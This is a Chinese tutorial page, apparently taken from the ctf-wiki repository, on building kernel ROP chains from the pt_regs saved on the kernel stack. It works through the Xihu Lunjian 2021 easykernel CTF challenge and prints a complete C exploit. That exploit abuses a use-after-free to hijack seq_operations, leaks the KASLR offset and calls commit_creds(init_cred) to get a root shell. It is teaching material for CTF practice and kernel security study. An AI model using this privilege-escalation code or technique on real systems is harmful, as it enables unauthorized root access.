文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载本篇文章围绕 Linux 内核 pwn 中一类极具通用性的利用技巧展开由于系统调用进入内核时会以pt_regs结构体的形式把用户态寄存器完整保存在内核栈底攻击者可以借助这些天然布置好的寄存器直接在内核栈上构造一条 ROP 链从而仅需一个形如add rsp, val; ret的 gadget 即可完成提权。文章以 ctf-wiki 仓库中《利用 pt_regs 构造通用内核 ROP》一文为主体结合仓库内系统调用基础、内核 ROP 基础与 KPTI 机制等章节并通过西湖论剑 2021 线上初赛 easykernel 一题完整演示UAF seq_operations 劫持 pt_regs 布置 ROP的实战流程。系统调用与 pt_regs 结构体系统调用的本质是什么在用户态布置好相应参数后执行syscall这一汇编指令通过门结构进入内核中的entry_SYSCALL_64函数随后通过系统调用表跳转到对应的内核函数。当我们把目光放到entry_SYSCALL_64这一用汇编编写的函数内部时可以发现当程序进入内核态时该函数会将所有的寄存器压入内核栈上形成一个 pt_regs 结构体该结构体实质上位于内核栈底。仓库内的基础知识章节给出了entry_SYSCALL_64中构造该结构体的完整汇编过程可以看到压栈顺序与结构体字段一一对应ENTRY(entry_SYSCALL_64) /* SWAPGS_UNSAFE_STACK是一个宏x86直接定义为swapgs指令 */ SWAPGS_UNSAFE_STACK /* 保存栈值并设置内核栈 */ movq %rsp, PER_CPU_VAR(rsp_scratch) movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp /* 通过push保存寄存器值形成一个pt_regs结构 */ /* Construct struct pt_regs on stack */ pushq $__USER_DS /* pt_regs-ss */ pushq PER_CPU_VAR(rsp_scratch) /* pt_regs-sp */ pushq %r11 /* pt_regs-flags */ pushq $__USER_CS /* pt_regs-cs */ pushq %rcx /* pt_regs-ip */ pushq %rax /* pt_regs-orig_ax */ pushq %rdi /* pt_regs-di */ pushq %rsi /* pt_regs-si */ pushq %rdx /* pt_regs-dx */ pushq %rcx /* pt_regs-cx */ pushq $-ENOSYS /* pt_regs-ax */ pushq %r8 /* pt_regs-r8 */ pushq %r9 /* pt_regs-r9 */ pushq %r10 /* pt_regs-r10 */ pushq %r11 /* pt_regs-r11 */ sub $(6*8), %rsp /* pt_regs-bp, bx, r12-15 not saved */struct pt_regs的完整定义位于arch/x86/include/uapi/asm/ptrace.h如下struct pt_regs { /* * C ABI says these regs are callee-preserved. They arent saved on kernel entry * unless syscall needs a complete, fully filled struct pt_regs. */ unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx; /* These regs are callee-clobbered. Always saved on kernel entry. */ unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi; /* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, its IRQ number: */ unsigned long orig_rax; /* Return frame for iretq */ unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss; /* top of stack page */ };不难看出entry_SYSCALL_64先通过pushq依次保存ss → r11等会被修改的调用者易失寄存器以及用户态上下文rip/cs/eflags/rsp/ss最后通过sub $(6*8), %rsp预留r15 ~ rbx这 6 个寄存器callee-preserved的空间。也就是说用户态在执行syscall前设置好的 r15、r14、r13、r12、rbp、rbx 等寄存器的值最终都会被搬运到内核栈上的 pt_regs 区域中这正是本技巧得以成立的核心前提。内核栈与通用 ROPpt_regs 即天然的 ROP 链固定偏移rsp 与栈底相对位置不变众所周知内核栈只有一个页面的大小而 pt_regs 结构体固定位于内核栈栈底。当我们劫持内核结构体中的某个函数指针时例如seq_operations-start通过该函数指针劫持内核执行流的那一刻rsp 与栈底的相对偏移通常是不变的——因为从系统调用入口到该函数指针被调用的整条调用路径是固定的各层栈帧的占用大小确定。而在系统调用过程中很多寄存器其实不一定被用上例如 r8 ~ r15这些寄存器为我们在 pt_regs 区域布置 ROP 链提供了可能。于是自然得出一个关键结论只需要寻找到一条形如add rsp, val ; ret的 gadget便能够完成 ROP。其原理是系统调用进入内核时用户态设置好的寄存器值已经按固定顺序刻在了内核栈底的 pt_regs 中当劫持函数指针跳转到add rsp, val; ret时只需让val恰好等于当前 rsp 与 pt_regs 用户可控区域之间的偏移ret弹出的就是 pt_regs 中第一个可控字段的值——该值正是用户态预先写入某个寄存器如 r14的地址从而无缝衔接后续 ROP 链。通用 ROP 板子仓库文档给出了一个通用 ROP 板子方便调试时观察各寄存器在内核栈上的落点__asm__( mov r15, 0xbeefdead; mov r14, 0x11111111; mov r13, 0x22222222; mov r12, 0x33333333; mov rbp, 0x44444444; mov rbx, 0x55555555; mov r11, 0x66666666; mov r10, 0x77777777; mov r9, 0x88888888; mov r8, 0x99999999; xor rax, rax; mov rcx, 0xaaaaaaaa; mov rdx, 8; mov rsi, rsp; mov rdi, seq_fd; // 这里假定通过 seq_operations-stat 来触发 syscall );需要留意的是内联汇编采用了 Intel 语法编译时需要指定-masmintel这一点在仓库的内核 ROP 基础章节中同样有说明。rax置 0 表示发起sys_read系统调用这样即可通过读取/proc/self/stat触发seq_operations中的函数指针调用从而在指定路径上完成执行流劫持。新版本内核对抗利用 pt_regs 的缓解措施正所谓魔高一尺道高一丈Linux 内核主线在提交eea2647e74cd7bd5d04861ce55fa502de165de14中为系统调用栈添加了一个随机偏移值这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c index 4efd39aacb9f2..7b2542b13ebd9 100644 --- a/arch/x86/entry/common.c b/arch/x86/entry/common.c -38,6 38,7 #ifdef CONFIG_X86_64 __visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs) { add_random_kstack_offset(); nr syscall_enter_from_user_mode(regs, nr); instrumentation_begin();从这段 diff 可以看出该缓解手段是在do_syscall_64()入口处调用add_random_kstack_offset()为系统调用栈随机化一段偏移从而破坏 pt_regs 与劫持点之间的确定性偏移关系。当然若这个随机偏移值较小且我们仍有足够多的寄存器可用仍然可以通过布置一些 slide gadget 来继续完成利用不过攻击的稳定性会大幅下降。例题实战西湖论剑 2021 线上初赛 easykernel环境与启动脚本分析首先查看启动脚本可以发现开启了 SMEP 和 KASLR#!/bin/sh qemu-system-x86_64 \ -m 64M \ -cpu kvm64,smep \ -kernel ./bzImage \ -initrd rootfs.img \ -nographic \ -s \ -append consolettyS0 kaslr quiet noapic进入题目环境查看/sys/devices/system/cpu/vulnerabilities/*可以发现开启了 PTI页表隔离/ $ cat /sys/devices/system/cpu/vulnerabilities/* KVM: Mitigation: VMX unsupported Mitigation: PTE Inversion Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown Mitigation: PTI Vulnerable Mitigation: usercopy/swapgs barriers and __user pointer sanitization Mitigation: Full generic retpoline, STIBP: disabled, RSB filling Not affected Not affectedSMEP KASLR PTI 的组合意味着无法直接ret2usr执行用户态代码返回用户态时还必须处理 KPTI 带来的页表切换问题。关于ret2usr为何在 KPTI 下失效、KPTI 下如何借助swapgs_restore_regs_and_return_to_usermode返回用户态仓库中KPTI 章节有更详细的汇编级分析读者可以一并阅读。驱动漏洞分析test.ko题目提供了一个 test.ko拖入 IDA 进行分析发现其只定义了 ioctl是常见的菜单堆题目提供了分配、释放、读、写 object 四种功能。对于分配object需要传入如下结构体struct { size_t size; void *buf; }对于释放、读、写object则需要传入如下结构体struct { size_t idx; size_t size; void *buf; };分配0x20比较常规的 kmalloc没有限制 size最多可以分配 0x2032个 chunkv7 _kmalloc(v12, 3264LL); v8 v7; if ( !v7 ) return 0LL; v9 v12; v10 v13; if ( v12 0x7FFFFFFF ) goto LABEL_29; _check_object_size(v7, v12, 0LL); v11 copy_from_user(v8, v10, v9); if ( v11 ) return 0LL; while ( addrList[v11] ) { if ( v11 32 ) return 0LL; } addrList[(int)v11] v8; return 0LL; }释放0x30kfree 以后没有清空指针直接就有一个裸的 UAF 糊脸if ( a2 ! 32 ) { if ( a2 ! 48 ) return result; if ( !copy_from_user(v12, v2, 8LL) ) { if ( (unsigned int)v12 0x20 ) { if ( addrList[(unsigned int)v12] ) kfree(); } return 0LL; } return -22LL; }释放功能在kfree()后并未将addrList[idx]置空因此释放后的对象仍可通过索引访问构成典型的 Use-After-Free关于内核 UAF 的一般性原理可参考仓库的内核 UAF 章节。读0x40会调用show函数if ( a2 64 ) { if ( !copy_from_user(v12, v2, 24LL) ) { show(v12); return 0LL; } return -22LL; }其实就是套了一层皮的读 object 内容加了 hardened usercopy 检查__int64 __fastcall show(_QWORD *a1) { const void *v1; // rsi unsigned __int64 v2; // r13 __int64 v3; // r14 _QWORD v5[37]; // [rsp-128h] [rbp-128h] BYREF _fentry__(); v5[32] __readgsqword(0x28u); v5[0] 0LL; memset(v5[1], 0, 0xF8uLL); if ( (unsigned int)*a1 0x20 ) return 0xFFFFFFFFLL; v1 (const void *)addrList[(unsigned int)*a1]; if ( !v1 ) return 0xFFFFFFFFLL; v2 a1[1]; v3 a1[2]; qmemcpy(v5, v1, 0x100uLL); if ( v2 0x100 ) { _warn_printk(Buffer overflow detected (%d %lu)!\n, 256LL, v2); BUG(); } _check_object_size(v5, v2, 1LL); return copy_to_user(v3, v5, v2) ! 0 ? 0xFFFFFFEA : 0; }写0x50常规的写入 objectif ( a2 0x40 ) { if ( a2 80 ) { if ( copy_from_user(v12, v2, 24LL) ) return -22LL; if ( (unsigned int)v12 0x20 ) { v4 addrList[(unsigned int)v12]; if ( v4 ) { v5 v13; v6 v14; if ( v13 0x7FFFFFFF ) { _check_object_size(addrList[(unsigned int)v12], v13, 0LL); copy_from_user(v4, v6, v5); return 0LL; } LABEL_29: BUG(); } } } return 0LL; }解法UAF seq_operations pt_regs ROP既然存在一个直接的大小不限的 UAF 漏洞解法便是多种多样的。这里我们选择seq_operationspt_regs构造 ROP 进行提权。第一步劫持seq_operations-start控制内核执行流。各种动态分配的函数表是天然的劫持目标例如seq_operations结构体便从kmalloc-32中动态分配。当我们打开一个 stat 文件如/proc/self/stat时内核会在内核空间分配一个seq_operations结构体其定义于include/linux/seq_file.h中只包含四个函数指针struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };当我们 read 一个 stat 文件时内核会调用其proc_ops的proc_read_iter指针其默认值为seq_read_iter()函数定义于fs/seq_file.c中注意到其中有如下逻辑ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter) { struct seq_file *m iocb-ki_filp-private_data; //... p m-op-start(m, m-index); //...即其会调用seq_operations中的start函数指针。那么只需要控制seq_operations-start再读取对应 stat 文件便能控制内核执行流。第二步在 pt_regs 上布置 ROP 链完成提权。控制了内核执行流之后可以利用前文所述的 pt_regs 技巧系统调用进入内核时用户态预先设置的 r15/r14/r13/r12/rbp 等寄存器值已经保存在内核栈底的 pt_regs 区域触发seq_operations-start时 rsp 与栈底的相对偏移固定因此只需要一个形如add rsp, val; ret的 gadget 便能无缝衔接上这段天然存在的 ROP 链。注意 KPTI 是开启的因此最后需要使用swapgs_restore_regs_and_return_to_usermode函数返回用户态——exp 中将其地址加 9 后再跳转跳过函数开头部分的寄存器恢复逻辑使栈顶恰好停留在 pt_regs 中orig_rax字段对应的位置从而把系统调用进入时自动保存于 pt_regs 尾部的RIP/CS/EFLAGS/RSP/SS直接作为iretq的返回帧使用完成 KPTI 下的 CR3 页表切换与用户态着陆相关汇编细节可参考KPTI 章节对swapgs_restore_regs_and_return_to_usermode的分析。第三步泄漏 KASLR 偏移。利用 UAF 的读能力读出已被seq_operations占用的 chunk 内容用泄漏出的start函数指针减去其在未随机化内核中的静态地址SEQ_OPS_0即可得到 KASLR 偏移进而修正commit_creds、init_cred、gadget 等所有符号地址。最终 exp 如下整理自仓库文档包含了较完整的日志输出与提权校验逻辑/** * Copyright (c) 2021 arttnba3 arttnbagmail.com * * This work is licensed under the terms of the GNU GPL, version 2 or later. **/ #include stdio.h #include stdlib.h #include fcntl.h #include stddef.h #include unistd.h #include sys/ioctl.h /** * Kernel Pwn Infrastructures **/ #define SUCCESS_MSG(msg) \033[32m\033[1m msg \033[0m #define INFO_MSG(msg) \033[34m\033[1m msg \033[0m #define ERROR_MSG(msg) \033[31m\033[1m msg \033[0m #define log_success(msg) puts(SUCCESS_MSG(msg)) #define log_info(msg) puts(INFO_MSG(msg)) #define log_error(msg) puts(ERROR_MSG(msg)) void err_exit(char *msg) { printf(ERROR_MSG([x] Error at: ) %s\n, msg); sleep(5); exit(EXIT_FAILURE); } size_t swapgs_restore_regs_and_return_to_usermode; size_t init_cred; size_t pop_rdi_ret; size_t kernel_base 0xffffffff81000000, kernel_offset 0; size_t commit_creds; size_t gadget; void get_root_shell(void) { if(getuid()) { log_error([x] Failed to get the root!); sleep(5); exit(EXIT_FAILURE); } log_success([] Successful to get the root.); log_info([*] Execve root shell now...); system(/bin/sh); /* to exit the process normally, instead of potential segmentation fault */ exit(EXIT_SUCCESS); } /** * Challenge Interface **/ struct chal_karg_type1 { size_t idx; size_t size; void *buf; }; struct chal_karg_type2 { size_t size; void *buf; }; void alloc_chunk(long dev_fd, size_t size, void *buf) { struct chal_karg_type2 arg { .size size, .buf buf, }; ioctl(dev_fd, 0x20, arg); } void delete_chunk(long dev_fd, size_t idx) { struct chal_karg_type1 arg { .idx idx, }; ioctl(dev_fd, 0x30, arg); } void read_chunk(long dev_fd, size_t idx, size_t size, void *buf) { struct chal_karg_type1 arg { .idx idx, .size size, .buf buf, }; ioctl(dev_fd, 0x40, arg); } void write_chunk(long dev_fd, size_t idx, size_t size, void *buf) { struct chal_karg_type1 arg { .idx idx, .size size, .buf buf, }; ioctl(dev_fd, 0x50, arg); } /** * Exploitation **/ #define COMMIT_CREDS 0xffffffff810c8d40 #define SEQ_OPS_0 0xffffffff81319d30 #define INIT_CRED 0xffffffff82663300 #define POP_RDI_RET 0xffffffff81089250 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00f30 size_t buf[0x100]; int seq_fd; void exploitation(void) { int dev_fd; dev_fd open(/dev/kerpwn, O_RDWR); if (dev_fd 0) { err_exit(FAILED to open the /dev/kerpwn file!); } puts(INFO_MSG([*] Allocating object and UAF as seq_operations...)); alloc_chunk(dev_fd, 0x20, buf); delete_chunk(dev_fd, 0); seq_fd open(/proc/self/stat, O_RDONLY); read_chunk(dev_fd, 0, 0x20, buf); kernel_offset buf[0] - SEQ_OPS_0; kernel_base kernel_offset; swapgs_restore_regs_and_return_to_usermode SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE kernel_offset; init_cred INIT_CRED kernel_offset; pop_rdi_ret POP_RDI_RET kernel_offset; commit_creds COMMIT_CREDS kernel_offset; gadget 0xffffffff8135b0f6 kernel_offset; printf( SUCCESS_MSG([] Got kernel base: ) %lx SUCCESS_MSG( , kaslr offset: ) %lx\n, kernel_base, kernel_offset ); buf[0] gadget; // seq_operations-start swapgs_restore_regs_and_return_to_usermode 9; write_chunk(dev_fd, 0, 0x20, buf); puts(INFO_MSG([*] Triggering evil seq_operations...)); asm volatile( mov r15, 0xbeefdead; // ROP mov r14, pop_rdi_ret; mov r13, init_cred; // add rsp, 0x40 ; ret mov r12, commit_creds; mov rbp, swapgs_restore_regs_and_return_to_usermode; // iret(q) mov rbx, 0x999999999; mov r11, 0x114514; mov r10, 0x666666666; mov r9, 0x1919114514; mov r8, 0xabcd1919810; xor rax, rax; mov rcx, 0x666666; mov rdx, 8; mov rsi, rsp; mov rdi, seq_fd; syscall ); get_root_shell(); } int main(int argc, char ** argv, char ** envp) { exploitation(); return 0; }对 exp 中几个关键点的说明KASLR 偏移计算kernel_offset buf[0] - SEQ_OPS_0。由于 UAF 对象已被seq_operations占用读出的首 8 字节即start函数指针未随机化时的静态地址为SEQ_OPS_0两者相减即为随机化偏移随后commit_creds、init_cred、gadget 等均基于该偏移修正。代码中所有硬编码地址COMMIT_CREDS、INIT_CRED、POP_RDI_RET、gadget、swapgs_restore_regs_and_return_to_usermode都只对题目给定的内核镜像有效换用其他内核镜像时需重新根据 vmlinux 的符号表与 gadget 搜索重新计算。ROP 链的落点映射gadget add rsp, 0x40; ret。当劫持seq_operations-start跳转到该 gadget 后rsp上移 0x40 字节恰好停在 pt_regs 的r14字段处ret弹出r14 pop_rdi_ret执行pop rdi; ret把r13 init_cred弹入 rdi 后ret到r12 commit_creds即完成commit_creds(init_cred)提权随后commit_creds的返回地址正是rbp swapgs_restore_regs_and_return_to_usermode 9利用 pt_regs 中由 syscall 自动保存的用户态上下文RIP/CS/EFLAGS/RSP/SS完成 CR3 切换与iretq返回用户态最终在get_root_shell()中获得 root shell。编译运行内联汇编为 Intel 语法编译时需指定-masmintel参考内核 ROP 基础章节并以静态方式链接如gcc exploit.c -static -masmintel -o exploit随后将编译产物放入题目根文件系统并重新打包启动。小结原理层面entry_SYSCALL_64在进入内核时将全部寄存器压入内核栈底形成pt_regs由于内核栈仅一页大小且 pt_regs 固定位于栈底在未开启内核栈随机化add_random_kstack_offset时劫持点 rsp 与 pt_regs 的偏移固定用户态可控的 r8~r15 等寄存器天然构成一段预置 ROP 链。利用层面配合seq_operations这类从kmalloc-32分配的函数指针结构体通过 UAF 覆写start指针仅需一条add rsp, val; retgadget 即可完成commit_creds(init_cred)提权并在 KPTI 下借助swapgs_restore_regs_and_return_to_usermode返回用户态。防御层面新版内核通过add_random_kstack_offset()随机化系统调用栈偏移使得该技巧的稳定性大幅下降这也说明内核利用与缓解始终是相互博弈的过程。对内核 ROP 基础状态保存、swapgs; iretq返回用户态、gadget 搜索、ret2usr 与 KPTI 细节感兴趣的读者可以继续阅读仓库中的内核 ROP、ret2usr 与 KPTI 机制等章节形成完整的知识链路。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐Audio Flamingo Next常见问题解答从安装错误到模型调优的50个解决方案Audio Flamingo Next常见问题解答从安装错误到模型调优的50个解决方案 Audio Flamingo NextAF Next是NVIDIA终极Linux内核利用指南从ROP到JOP的完整代码复用技术解析Linux内核利用中的代码复用技术是现代系统安全攻防的核心领域特别是ROPReturn Oriented Programming和JOPJump Ori文档网络安全教程SkiftOS系统调用分析从用户空间到内核的通信机制SkiftOS系统调用分析从用户空间到内核的通信机制 SkiftOS是一款设计优雅的操作系统其系统调用机制是连接用户空间应用程序与内核核心功能的关键桥梁。通上一篇如何快速实现React跨平台组件开发Radix Themes终极指南 下一篇sebastian/diff的贡献者访谈核心开发者故事创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
企业数字化 ERP 产品动态
相关推荐
高质量开源RL环境为何稀缺却价值巨大?从评估到搭建的工程实践指南 1. 为什么"高质量"三个字才是RL环境的真正门槛强化学习这行有个很拧巴的现象:算法论文满天飞,开源代码一抓一大把,但真到了要跑实验的时候,你会发现最稀缺的根本不是算法实现,而是一个能稳定跑起来、结果可复… · 2026/9/25 3:41:31
SpringBoot2.6.13+MySQL8+Flowable6.8.1工作流项目搭建与避坑指南 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 4:12:33
CEF 89 Windows32编译包与Qt 5.14.2集成:从sln到产品化实战 简介:面向VS2017与Qt5.14.2环境的CEF二进制89版Windows 32位编译包,适合需要在Qt客户端中嵌入Chromium浏览器的C开发者。包内已通过CMake生成.sln解决方案,可直接打开运行,省去手动配置编译的繁琐步骤。资源共2275个文件ÿ… · 2026/9/25 4:12:27
UnityModManager安装教程:3步为游戏启用Mod支持(附5个常见坑) UnityModManager安装教程:3步为游戏启用Mod支持(附5个常见坑) 【免费下载链接】unity-mod-manager UnityModManager 项目地址: https://gitcode.com/gh_mirrors/un/unity-mod-manager
UnityModManager(常简称 UMMÿ… · 2026/9/25 4:12:27
AI落地真相:六成项目使用率不足,幻觉、部署与Agent三大坑 上周末和一个做AI落地交付的朋友通了将近两个小时的语音。他这三年从大厂出来自己接项目,经手的行业覆盖金融、制造、客服,全是正经的企业级合同。电话挂掉之后我在书桌前坐了很久,脑子里只有一个念头反复打转:他说的每一句话&… · 2026/9/25 4:12:15
创维E900V22D刷机全攻略:S905L3SB芯片兼容性解析与救砖实战 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:31
MQTT协议原理与Broker服务器搭建实战:从Mosquitto到EMQX /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:37